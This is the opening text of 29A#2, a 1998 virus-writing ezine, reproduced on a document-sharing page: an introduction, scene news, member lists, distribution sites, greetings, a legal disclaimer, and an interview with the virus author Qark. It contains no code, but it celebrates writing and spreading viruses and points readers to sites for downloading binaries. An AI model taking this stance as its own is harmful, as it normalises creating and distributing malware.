Ezine - 29a-2

  • May 2020
  • PDF

This document was uploaded by user and they confirmed that they have the permission to share it. If you are author or own the copyright of this book, please report to us by using this DMCA report form. Report DMCA


Overview

Download & View Ezine - 29a-2 as PDF for free.

More details

  • Words: 227,605
  • Pages: 908
Introduction to 29A#2 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Mister Sandman/29A Friday 13th, december of 1996, at 6:66am... 29A#1 is officially released to the public. It was undoubtly a magic date. But not as magic as friday 13th, which is a special day for viruses, of february, in 1998, at 6:66pm... this was the final release date/time of 29A#2, and the most curious thing is, we had never thought about letting such a coincidence happen... but it did. In this evil year (666*3=1998), who knows what else might happen in the scene? It has passed over a year since our first issue was released, last december in 1996. However this does not mean, like many people say, that we "release one issue per year". No, that's not fucking true... we've spent one year in order to release 29A#2 but that doesn't mean we will do that again. Lots of circumstances drove us to be late, such as: some members doing the military service, major changes and internal reestructuration, and most important of all: the necessity to spend a lot of time on I+D work in order to start the way in the so called "new school" (Win32). It's easy to notice now that, in most of the cases, those who could not understand these reasons were either kids with no necessity of doing the military service (by now) or coders who are not still interested on spending their efforts on Win32. You can find people out there claiming they "release 3 or 4 zines per year, instead of 1", harassing you, making pressure and/or stupid jokes about the reasons which make your zine get delayed, and so on. But the funniest thing is they pay so much attention to your ass, so they do not pay any at theirs and then get grasped, and it's their zine which gets delayed because of the same reasons they were joking about a few months ago. Being serious now, it is important to say that making comparisons about quantity is very easy. It is also important to remember tho that YAM for instance, released three issues in their eight months of life. We are not speaking about quantity, but about quality. And also about contents plus continent, working in a proffesional way, and offering interesting and innovating articles and viruses to our readers. We do our best and we think it's ok, you judge :) Like Jacky Qwerty, in a speedtalking, hypergesticulating Tarantino-like way says, "this second issue of 29A is full of hot new ground-breaking kick-ass stuff from top to bottom" - or that's what we think, it's up to you to tell us whether we're right or wrong at this. However nobody can negate the fact that we have developed for this issue completely new and unseen stuff like, for instance, the new (definitive) Win32 techniques, not only for infection but also for residency, stealth, error handling, etc. We're publishing here as well the hottest disassemblies, engines, tools, tutorials and, of course viruses of our own, including the first multiprocessor/multiplatform infector, the first virus which executes backwards, the first boot infector that uses PMODE features, the most spread baby in the world right now (CAP), and lots of completely original-featured viruses, which, together with the rest of the articles, we hope you'll read and enjoy. We hadn't released anything for over a year until this issue of 29A was uploaded to our FTP and eventually made publically available, and that is something like saying that you'll find the work of a whole year, here inside. From now onwards things will change, and we hope we will release our future issues within shorter periods of time. And this will probably mean that, at least for us, "something better than 29A#2" will almost become an oxymoron. However we will try, as it was one of our initial intentions, to make every future issue of 29A better than the previous one(s). About the scene there's a very important thing to say: it's alive, and it's more active than it has ever been, in my (humble) opinion. Besides the fact that lots of new groups have emerged, which is something always happens, we can see many important virus groups such as iKx, SLAM, SVL, Stealth, and so

on (so on=the ones i've unintentionally forgotten), as well as, for instance, magazines based on external collaborations without any group supporting them, ie Sources of Kaos. As you can see there's a lot of competence and it is pretty obvious that there's still a lot to do in the scene ;) And i think this is all by now... there is a separate article, called "News since 29A#1", in which we try to describe more or less what has happened in the scene and in 29A as part of it, since our first issue was released. Now it's time just to wish you will enjoy this new issue of 29A, and to ask you not to forget to read any of our articles, we hope you'll like them. "We're pleased if you're pleased" :)

Mister Sandman, bring me a dream.

News since 29A#1 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Mister Sandman/29A In a whole year it's obvious to say that many things happened. And it would be a real fuck to try to sum them all up in this article, so we'll only try to write a brief report about the most important events which took place in all this time. In fact there's nothing too interesting here, just some kind of curious news which may seem funny or at least not boring to you. For us, they were great and amazing experiences we hope we'll go thru again. First of all, after the release of 29A#1, was the discovery of some bugs in the article browser and some errors in a few articles. Our first e-zine was just a test and i think it was a pretty good first step. And it meant a big help for us in order to get some experience about magazine releasing. There was as well kind of a "lack of fame", what forced us to be lame in some aspects of the magazine (in the esthetic side) such as the sucking ANSI i had to draw myself in less than 30 minutes before releasing the zine. Many long conversations about this and other aspects of 29A took place, while our holidays (the VX ones) finished and we had to restart writing viruses. It was nice however to have received tons of e-mails from almost every part of the world congratulating us for the work we did in 29A#1. We kept on working on our viruses/articles, and by the same time we started thinking about the idea on developing the so-called "29A Labs", our website located in http://29A.islatortuga.com. Also we stopped connecting to EFnet, and, instead, we started visiting the recently founded spanish IRC network, where we eventually settled after having created our own virus channel. And these changes were not only affecting the group externally, but also internally, as by this time there were as well a lot of new members joining, and other members becoming collaborators. And you may be wondering now what the fuck a collaborator is... well, this is another feature we have implemented in 29A. Now the organization is formed both by members and collaborators. Members are those who have the compromise to write a certain number of articles and/or viruses per an also certain period of time, they are 29A, the virus writing group itself. Collaborators are external VXers who don't have any compromise with us, who write articles or viruses when they feel like that, and who send them to us in order to collaborate with the group. It is important to say that many ex-members due to their inactivity or because of their lack of time were "reclassified" and put as collaborators, instead of members. So, that's the way the group is formed. The official list of members and collaborators follows, including the last-hour additions :) IMPORTANT!!! if any of the e-mail addresses below does not work, try to use cryogen.com instead of islatortuga.com, or vice-versa. It is also important to note that we are probably moving in the next months to 29A.org, so these addresses may become obsolete soon, albeit they'll still exist, and we will keep on checking them from time to time.

-29A MEMBERS- (the VX dream-team) ;) Member name Origin IRC nick E-mail ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Mister Sandman......... Spain....... MrSandman....... [email protected] Darkman................ Denmark..... _darkman_....... [email protected] GriYo.................. Spain....... GriYo............... [email protected] Jacky Qwerty........... Peru........ jqwerty........... [email protected] Rajaat................. UK.......... Rajaat....... [email protected] Reptile................ Canada...... Reptile-... reptile./[email protected] Super.................. Spain....... Superx.......... [email protected] Tcp.................... Spain....... Tcp................... [email protected] Vecna.................. Brazil...... Vecna............ [email protected]

Wintermute............. Spain....... Winter..... [email protected]

-COLLABORATORSCollaborator name Origin IRC nick E-mail ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ An¡bal Lecter.......... Spain....... _Anibal_.......................... n/a AVV.................... Spain....... avv................... [email protected] Heuristic.............. Denmark..... n/a............................... n/a Leugim San............. Spain....... LeugimSan...... [email protected] Lord Julus............. Romania..... LordJulus..... [email protected] Mr. White.............. Spain....... W666.......... [email protected] "Q" the Misanthrope ... USA......... n/a...... [email protected] Spanska................ France...... El_Gato........ [email protected] SSR.................... Russia...... ssr............................... n/a The Slug............... Spain....... the_slug......... [email protected] VirusBuster............ Spain....... VirusBust.......... [email protected] Ypsilon................ Spain....... Ypsilon........... [email protected] Z0MBiE................. Russia...... Z0MBiE............................ n/a

Now that these important news have been told, it is time to start reporting the trivial events. I would first mention our appearances in the media. The first one was in PC Revue (?), a slovakian paper-printed magazine, where we could read a brief comment about my AntiCARO virus. After this, we received via Internet an e-mail from a guy called Javier Guerrero, who heads a virus oriented section in a spanish paper-printed magazine called PCman¡a. We had some chats about what we (29A+him) exactly wanted, and after that short period of time, a full-color, four-page article about the virus scene and 29A appeared in PCman¡a, which is one of the most popular computer magazines in Spain. In the next month, he dedicated another -even longer- article to the analysis of my virus Torero, and two months ago we were mentioned in an article dedicated to virus payloads, as before last summer we had talked with him about the idea of writing such an article, and provided him with some of the most known virus payloads. Besides, we have been interviewed by many other media, and we're waiting right now for more public appearances. These plans include our probable presence in a TV program!, plus the already confirmed announcement of the release of 29A#2 in PCman¡a, and some article(s) in another spanish paper-printed computer magazine (the best sold i think), called PC-Actual. But this all is a surprise we would not like to unveal by now... just keep on visiting the 29A Labs! ;) These are, btw, some excerpts of the article about us in PCman¡a:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 On cover: "Exclusive interview to spanish virus creators" Index : "[...] we offer to you a very interesting interview with two members of a spanish group of virus creators, called 29A. In an informal chat, our guests describe their methods, their history, and their future plans, as well as their opinions about the national and international virus scene". Page 141: "Nowadays, 29A is, internationally, the most important virus creating group, as well as the first and unique one from Spain". Page 142: "Writing viruses the way we do in 29A is to code for art and entertainment, not for effectiveness and destruction (Mr.Sandman)". - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

The whole article has been converted also into a webpage, so everybody owning a browser may check it out at the official website of PCman¡a, together with other articles 29A was mentioned in:

(*) http://www.canaldinamic.es/PCMANIA/PC057/VI/pc057vivirus0000.html (*) http://www.canaldinamic.es/PCMANIA/PC058/VI/pc058vivirus0000.html (*) http://www.canaldinamic.es/PCMANIA/PC061/VI/pc061vivirus0000.html

Other funny event took place last summer, in Madrid. We celebrated the very first european VX meeting, albeit it was initially supposed to be a meeting only for 29Aers. However that's what it eventually became, as most of those VXers who were supposed to come finally couldn't, because of several different reasons. For instance, Rajaat planned to go by car from UK till Luxembourg, where he'd meet CoKe and then come to Spain. A completely unfortunate last-hour crash the same day he was leaving the UK messed every plan and made impossible to meet them... driving while being stoned... you know ;) The only foreigner we could meet was Spanska, from France. After having met everybody we went to a restaurant and had our meal. Then we went for a walk to a cybercaf‚ where we connected to IRC and had some fun on-line, and that is when we decided to split for meeting later in order to go party. Some of us went to the most famous square in Madrid, Plaza Mayor, were we could sit in a bar and try to write a virus together, it was a pretty funny thing albeit we couldn't finish it (too much heat) :) Other people such as GriYo or Spanska decided to go their way in order to have a rest, so they could have their energies on top when going party. However, this was the last time any of us saw Spanska, he felt asleep in his car until the next day :) We remet at 22:00h or so in a McDonald's, and then went to some pubs and night bars, including GriYo's... and our party stopped around 5:30h or so, with some of us (especially GriYo and i) a little bit drunk :) It was a great experience we'll repeat this summer, first in Madrid and later -hopefully- in Amsterdam. But this time things will be much more different, and besides we already know for sure right now that b0z0, Darkman, Reptile, Rajaat, and Spanska are coming, so we are sure it'll be impossible to stop laughing and having fun for an only minute. And there are also some rumors, btw, about the possibility of organizing a ganja-smoking contest so we may know at last who the fuck is the king, god or whatever of ganja ;) And last but not least, like every year, the SIMO convention (an enterprise based computer exposition, with stands and so on) took place in Madrid, and 29A couldn't miss it ;) This time it was GriYo, Wintermute, Mr. White (collaborator), and i who represented the group. It was nice to meet personally the developers of Panda, the most important spanish AV product. They were in every moment very kind and proved that it is possible to have a good relationship with "the other side". In this case, it was VX and AV who shared a funny and friendly chat, for some minutes. We could also visit the stands of other AV products, such as F-Prot, AVP, TBAV, Scan, etc, but it was good enough to stop at them and have some laughs... there were only salesmen, so it would have been a loss of time to try to speak with them :P When they saw us laughing at them they became completely astonished :) And this is all, more or less... there's another event about to come, which deals with the cellebration of the release of 29A#2, but i guess the report of this party will be part of 29A#3, so... wait until then!

Mister Sandman, bring me a dream.

29A distro sites ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Mister Sandman/29A In order to know the most recent news in 29A, look for our latest releases, and be able to download binaries of our viruses as soon as they're made publically available, don't hesitate to go visit our "29A Labs", the official website of the group, at http://29A.islatortuga.com. Please note that we're moving soon to http://www.29A.org. However 29A.islatortuga.com will keep on working for a long time until we complete our "migration". If what you want is to chat with us you can always try at IRC, as we use to spend a lot of time in the #virus channel of Hispanet, the spanish network. Connect to one of the servers below and look for us, our nicknames are listed in the "News since 29A#1" article:

orion.irc-hispano.org............... pleyades.irc-hispano.org............ vega.irc-hispano.org................ fenix.irc-hispano.org............... pegasus.irc-hispano.org............. saturno.irc-hispano.org............. marte.irc-hispano.org............... mercurio.irc-hispano.org............ ganimedes.irc-hispano.org........... pulsar.irc-hispano.org.............. gaia.irc-hispano.org................ sirius.irc-hispano.org.............. europa.irc-hispano.org.............. aire.irc-hispano.org................ titan.irc-hispano.org............... jupiter.irc-hispano.org.............

Arrakis server Arrakis server Arrakis server Arrakis server Milenium server ERGOS server Minorisa server Mundiv¡a server EUI UPV server RedesTB server Argo server Servicom server CTV server Catalunya.Net server InforEspa¤a server Lleida Networks server

Since 29A#1 was released many sites (both webs and boards) showed their interest on distributing officially 29A. If want to join the list of 29A distribution sites, just e-mail either Darkman or me (you can find our address in the "News since 29A#1" article) and specify in your message: the name of your website/board and its address/phone number. And then you'll appear in the following list, when updated:

Web site/Board name Address/Phone ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 29A Labs (world hq)............................. http://29A.islatortuga.com Cicatrix site (usa hq)............... http://www.cyberstation.net/~cicatrix SiZiF's site (.yu hq)............... http://solair.eunet.yu/~sizif/29A.html Dejanu's site (.ro hq)................. http://www.rotravel.com/dejanu/29A/ Arrested Development (euro hq).............................. +31-773-547477 Black Adder (.il hq)......................................... +972-651-4404 BlueDemon BBS (.mx hq)...................................... +52-461-555-19 Dark Node (.es hq)....................................... +34-(9)86-564-053 Edison's Temple......................................... +34-(9)1-406-03-72 FaLCoN BBS (.br hq)........................................ +55-11-875-9838 IX BBS (.de hq)............................................. +49-6074-68390 Satanic Brain (.ar hq)....................................... +54-13-837480 The Frynge (.ca hq)........................................ +1-604-763-6314 Toxic Delusions (.za hq)................................... +27-24-852-5008 UiS (.my hq)................................................ +60-352-107-72

Due to a data loss at least 2-3 sites couldn't be added, as it was impossible to recontact them in order to get again their data. We in the staff hope they're reading this and then will get in touch again.

Mister Sandman, bring me a dream.

Our greetings ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Mister Sandman/29A Greetings go this time to... _Anibal_ 00FAh avv b0z0 CaptZero Casio Cicatrix CoKe FJP Galar Galindo giGGler God@rky Greenline iiriv Int13h jtr kdkd-666 Kid_Chaos lLeugimSan LordJulus LovinGOD LuisM Maverick MDriller mgl Murkry nick Omega666 Owl[FS] Pedro piCarDPoltergst "Q" qark QuantumG rretch RAIDERS rebyc ROLF sbringer ShadSeek Shumway SiZiF Skeeve242 Sokrates Spanska SSR StarZer0 the_slug TheWizard trgvalkie VDaemon VirusBust

: : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : :

we miss your great sense of humour on IRC ;) still translating games into spanish for EA? :P so happy you finally got a girlfriend :) hope the fuckin t-shirt arrives soon... yours rocks ;) why are people like you so motherfucking anal? learn and sing Madonna's "Like A Virgin" :P keep the *best* work up, man, you rule! your computer is now stoned (same as you, heh) you're an incult, Daft Punk roqs ;) not drunk anymore, girlfriend... really Galar? ;) is your height still 81cms? (greeting from Super) we all live in a love chaaat! -> R's ruin, hehe miss you and your cool website :( ce mai faci? esti Œnca viu? yodel again! :) so long no see, dude learn cheli and win a prize ;) we all are happy you're ok again what about your life, man??? i really miss you :( jqwerty+you+me=latin sex machines! hope to see you this summer in Madrid ;) still working on that cookie monster? vindecatori roq!!! :))) i promised you'll be here... so here it is :) the OS-migration man, hehehe ;) Universe+Orgasmatron rulez (greeting from Vecna) forget DOS and get into the new school :P greetings are the most important section ;) hope to see you more often on IRC wanna send greetings to your gramma? :) hope you and your BBS are still alive :) thinking on the anti[sm] coalition? how many RedBulls have you drunk tonite? (Super) don't get too stoned when you come to Spain ;) expressos and capuccinos rule, heh? what must you do to convince people? be back... (666th time somebody asks you) still interested on Linux stuff? love that crazy dutch radio reporter ;) ---pareces un feto de ballena, lamepollas!!! really getting a paid travel to Acapulco? forgot what IRC stands for? :) greetings because of being GriYo's inspiration what can i say to one of my idols? you should come more to Hispanet ;) more gypsies working at Tabacalera? :) i promised i'd send that to you... ;) becoming a millionaire with your AV? ;) don't even think on speaking about exams! ;) still lost in Madrid? :P russkaya viruskaya energya!!! ;) i'm working in a GameBoy infector, hehe ;) aaaarrggghhh, the $#%!@ military service use a debugger instead of cut&paste :P does this seem good enough to you? try to spice some horse up with Avecrem :) heh, treilea salut Œn limba romƒna :) happy being the "keeper of the virii"? ;)

W666 ww0rker Ypsilon Z0MBiE

: : : :

what about that movie you were writing? still married as far as i know... that's a record! you start looking serious, but keep on coding! :P what will get infected next? txt? :)

Reptile's greetings... oYirG b0z0 Kid_Chaos piCarDReptileScorpion retch

: : : : : : :

schizo! change nick! got the shirt? :P fascist Fujimori sucks badly! mooha! ;) bwaha! rhabarber... *** You were kicked from #virus by blah0 (banned) Hey you gimp, is it fun to work in a dungeon?! You hermaphrodizeeen bitch! Stupid fascist!

Rajaat besides wants to greet: Rhincewind, The Unforgiven, Antigen, Priest, and Metabolis, hoping to recontact them in the near future. We would like also to send special greetings to Javier Guerrero (thanks for all, man!), Bernardo Quintero (great work coming soon heh?), our friends at Panda Software (eat this!!! :P), and of course, to all our buddies at #hack in Hispanet, especially: BINARIA, DarkNail, mainboard (also his girlfriend, Ic¡ar) and Case_Zer0 (the ones i go out with more often in Madrid), also to PhiSk, for his loyalty and a big favor i still owe, La_Santa (heheh, my cyberwife) and to my best friends there (or at least, those ones i can remember right now - alphabetical order): _TaNiS_, |AkratA|, |AmandA|, |aRuSHa|, |fit0|, Akira, BiLLsUcKs, Clarisita, dairo, deadrose, Goku, Jany, Mia (welcome to Jack Rabbit Slim's) ;) NecronoiD, RAGE_666, SiLbY, Sr-aSpid and VaW (not a #hack addict tho). If you are not included here, don't think you are less important than the above for us... sometimes we even forget ourselves!

Thanks to... Exobit Artqvo Khroma Mentat Tcp The Slug Tuk Spanska

: : : : : : : :

democoding group who programmed the intro ANSI logo and graphics of the intro (Exobit) main writing of the intro code (Exobit) music modules of the intro (Exobit) file browser coding, configuration, bug fixes article reader coding, bug fixes 29A official logo, used in intro and ANSI screensaver, based in his Cosmos virus

Mister Sandman, bring me a dream.

Legal stuff ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Mister Sandman/29A Not many changes since 29A#1 so... eat more or less the same text :P Erhhhmm... well, i really hate to do this kind of things but it's necessary anyway so... ok, let's suffer a bit to make my lawyers happy :) Albeit most of our readers are supposed to have more than one virus, and to be even able to code viruses by themselves so they ain't the typical lamers who are looking for destructive code in order to fuck some computers at the school they "study" in we are conscious about the fact that exists a little and very unprobable risk to fall in the greasy hands of one of these gimps, so we'd like to make clear that the only reason which drives 29A to release this magazine is the basic principle of the educational purposes. As Qark said, "if we don't hurt the community, community won't hurt us" ;) We are not responsible of any damage caused due to the misuse of the information (articles/viruses) released in this issue of 29A, just same as somebody who makes knives isn't responsible if some schizo uses one of the knives to kill another person or to cut his dick off, got what we mean? If so, go ahead and enjoy the magazine. Otherwise just get the fuck out :)

Mister Sandman, bring me a dream.

Interview with Qark ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Mister Sandman/29A For this second issue of 29A, we decided to interview Qark, one of the best virus writers ever (maybe the best?), who left VLAD and the scene about one year ago. Albeit his lack of free time, this very good friend of mine was eventually able to make possible to bring you now this great oportunity to know him better. We all miss you, dude. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 29A> Ok, Qark... this is the classic first question of almost every inter29A> view... tell me why did you choose your nick When Metabolis and I started out with VLAD we had local scene nicks that everyone knew, so we had to get new ones. (Obviously meta wasn't always called meta). When I first jumped into irc for #virus, every nick i picked was always taken, so I thought to myself "What nick could I possibly pick that noone will ever use ?", and picked Qark - because it defies the laws of English by dropping the 'u'. But why "Qark" out of all the "Q" words ? I don't know.. I can't think of any other "Q" words to be honest. 29A> When and with 'what' did you start computing? I didn't own a computer until after I left highschool. (A few years back). My first computer was a mighty 8088 XT with 20 Meg hard disk and EGA monitor :) 29A> And when did you first know about a computer virus (first experience, 29A> with which virus(es), etc)? The first I ever heard about computer viruses was when TZ's X-Fungus virus infected Suncorp (a local bank) on the radio. The first virus I ever encountered in the flesh was 1575 (green caterpiller) on someones computer. I took a copy home so that I could work out how to make a virus of my own but it was beyond me at the time. 29A> In what computer languages can you code? ASM, PAS, SQL, Modula-2 and some C. 29A> Describe yourself (phisically, morally... however... even sexually if 29A> you dare) :) Umm White, Male, average height, brown hair, blue-green-hazel (something) eyes. I'm very conservative morally - viruses are a bit of an anomally in my personality. 29A> Ok, now about viruses... tell me 29A> the ones you like most

which ones

have you coded, and/or

Let me see.. I've written a whole heap of viruses. Father, Mother, Sister, Brother (Incest family - Very lame) - VLAD#1 Actually mother wasn't too bad. It still stealths everything. VLAD virus, Republic, Meningitis - VLAD#2 Pretty lame still, although my flash bios infector was a nifty idea. Hemlock, Megastealth - VLAD#3 Both these viruses were pretty cool even if somewhat buggy.

Winsurfer, Goodtimes - VLAD#4 Winsurfer was a big breakthrough for Quantum and I so it is one of my favourite virii. Horsa, Ph33r - VLAD#5 I liked both of these virii. Horsa was one of the hardest things I've ever written due to the mathematics involved so I like it, and Ph33r is the first multi-OS (kind of) virus so I liked it too. (Quantum wrote the memory routines for that one) Gilgamesh, tracevir, 386 virus - VLAD#6 Pretty ordinary viruses, but my VSTE (my file entry point tunneling engine) was a new concept so I kind of liked it, even if it has been done better since. Padania, goodbye - VLAD#7 Padania was good. Goodbye sucked. Quantum and I have worked on a couple of Win95 viruses together. Win95.Punch and one in memory of TZ.. 29A> Btw, about VLAD (unavoidable question) :) you left the group... you 29A> said you didn't have the time for doing other things... explain it 29A> better, please... did you get a girlfriend? :) By "other things" I meant "anything". rest of your life goes to hell.

Spend your time vladding and the

And I do have a lovely woman who takes up a sizeable chunk of my time :) luckily for me she likes viruses :) 29A> What about your personal future projects? Some more win95 viruses are on the cards. I did the vxd routines in a couple of win95 viruses so I'm still coding every now and then.. 29A> And more thingies about VLAD... could you tell me something about its 29A> story (who, when, why decided to create it, etc)? I'm pretty vague about it, but I think it went like this: Meta read ir#2 and thought "cool, im gonna start my own virus group and call it vlad". At this stage I didn't know him at all. A day later he was chatting to the sysop of the local warez board about his latest group when he was put in touch with me. And voila thats how it started. Meta had his own shareware bbs where he was the good-guy sysop, while in a secret area was the vlad virus section. There we would swap code for our latest direct-action virii :) When we got enough dross ready to produce vlad1 I jumped on the bus and the train and went out to his place to put it all together. We met for the first time at the train station. Nothing much happened at his place apart from the magazine production. The main thing I remember is it being freezing cold .. we were working on it until the early hours of the morning. Somewhere along the track meta met TZ and invited him to our private vlad conference on his bbs. We'd discuss virii techniques.. Sometime later we went onto IRC and our story is well known since then..

29A> Which is/are your favourite virus(es)? RDA.fighter is probably my favourite, followed by starship. The new virus by Quantum and I is really cool :) near you :)

coming to a hard disk

29A> Do you think the perfect virus exists or might be ever coded? No.. the whole idea of a perfect virus is stupid I think. 29A> How will the 'viruses of the future' look in your opinion? It will be a resident win95/NT infector. 29A> Ok, now let's have a look at the 29A> is the AV you like most? AVP is pretty good.

other side... AVs and AVers. Which

Its win95 version really needs a scanning VXD though.

29A> Heh... one question is enough for those niggas ;) now about the virus 29A> scene... give me your point of view about it (old groups, new groups, 29A> who's cool, who sucks... you know) :) Firstly, VLAD is cool :) Nuke, rabid and yam were all lame.. but trident and p/s were good. IR were always my favourite group but I don't like IRG much.. 29A are way cool :) 29A> Finally, just send a greet to someone, say something, sing, write a 29A> poem , pull yourself :)... dunno, whatever you want. This is your 29A> free space :) RIP TZ :( Greets fly out to Metabolis and Quantumg and all the people I like. Also a kiss to a certain girl :) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Good luck, Qark... especially with that girl ;)

Mister Sandman, bring me a dream.

Words from Jacky Qwerty ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Jacky Qwerty/29A First of all, i would like to send some short comentz and general greetz to the good and bad virus scene. Yes, i think there exists such diference and thats something that should be "pointed" out. Apart from this i'll take the chance to describe my articlez, virusez and utilitiez included in this 29A issue as well as my true purpose on writin and spreadin out this knowledge.

The two sidez of virus scene ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Yes, in my humble opinion, i think there is a "good" virus scene, one which is continuosly lookin for new infection ideaz, new platformz and new file formatz to infect. Just for the simple chalenge it poses by itself, not for that stupid nonsense apetite for destruction. Thats childish rubish and we dont like that. We rather enjoy foolin F-Potatoe's last protection or TBAV heuristicz or discoverin Microsoft's untold secretz, etc. This is what we like. This is the good virus scene and we'll stay this way for a long time. The other side is the "bad" virus scene, which is made of vandalz who have childish programin habitz. They move and act by the simple "minimum effort" principle. They rather enjoy randomly writin or formatin a hard drive, than squeezin both skull and brainz out in an atempt to code some more creative and interestin stuff, not the awful boresome shit they're acustomed to. For the former purpose, i'd strongly recomend to download the AVP enciclopedia DOS edition, and take a look at all the "kick ass" virus demoz it containz. Needless to say, I, as a VXer and member of the 29A group team, have nothin to do with this "bad" side of the virus scene and be sure i will reject any chance to become a "vandal" for dayz to come. Did u stick that Bontchy! #8P

Greetz to all VXerz ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Warm greetz to all those creative VX coderz around the world who use their brainz and imagination writin fancy creative payloadz - harmless graphicz, soundz, etc - inside their lil' creepy binary creaturez, you all rock! ;) No greetz at all to the increasin number of lamerz and wannabeez who feel they are the bad guyz and best coderz on earth just by writin destructive nonsense rubish and wipin out compz at skool or friendz, you all suck! :( As bein part of the first group, i really hope you enjoy this 29A#2 isue as it is full of hot new ground-breakin kick-ass stuff from top to bottom ;)

Quick description ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ For my part i have writen and coded some nifty Win32 (WinNT/Win95/Win32s) virusez: (1) Win32.Jacky, the very first Win32 infector. (2) Win32.Cabanas, the very first resident, stealth, antidebuged, antiheuristic Win32 virus. (3) DogPaw, a simple but powerful DOS virus, which is able to infect DOS, Win3.1, Win95, WinNT and OS/2 aplicationz via a recently discovered backdoor, thanx Casio. (4) WM.CAP, my first and only macro virus writen as an entrance to the macro stuff world, simple in structure (who said complex?), but very powerful and infectious by nature - heck i didnt know it would become so comon, blame Microsoft for their stupidity -. This is all with respect to my virusez. I have also prepared a couple of articlez about macro stuff, they are named (1) Macro virus tricks, and (2) WordMacro.CAP virus description. The first

article deals with two known limitationz with actual macro virusez and then proposes solutionz for them. The second article gives a full description of a real macro virus and serves as a good compliment for the first article. Finally, i have writen two especially useful utilitiez for Win32 (with C source code included): (1) GETPROC, a Win32 console aplication very useful for beginerz, which also serves as a compliment for the PE infection tutorial. And (2) PEWRSEC, a simple DOS program which will be very useful for you Win32 ASM coderz once you understand the benefitz of a R/W code section on a PE file: you will be able to include the first generation sample of your Win32 virus in the code section, as you usually did in DOS, and you will also be able to debug it with symbolic information included along with the source code. And last but not least, i have prepared myself some useful INC filez for DOS and Win32: (1) USEFUL.inc, (2) MZ.inc, (3) WIN32API.inc and (4) PE.inc. This include filez will make more sense once u have delved yerself into the Win32 world.

Scope and Purpose ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ All of these virusez/articlez/utilitiez were all coded with just one goal in mind: to make sure all this information will be given to "otherz" before i leave the scene or the world at worst. I mean, dont let your own knowledge be buried along with your body, spread it out before you leave this world. If you're smart enough and really understand this, then you are almost ready to learn from otherz. Next is that you should be moved or pushed to "learn" just by the simple educational purpose or the chalenge it poses by itself. Then you'll be ready to teach your knowledge and otherz will learn from you. Needless to say, i wouldnt like at all to know that one of my virusez has escaped from this zine coz you didnt understand this. Please dont be a lamer. Now, Enjoy! (c) 1997 Jacky Qwerty/29A.

What is happening in IR/G? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Rajaat / 29A Now talking Rajaat [IR/G]...

Preface ÄÄÄÄÄÄÄ It has now been half a year ago when our magazine got out, and since then you haven't heard much from us anymore... Why? I hope to cover some of the things that happened in IR/G and what the current status is (as far as I know, that is).

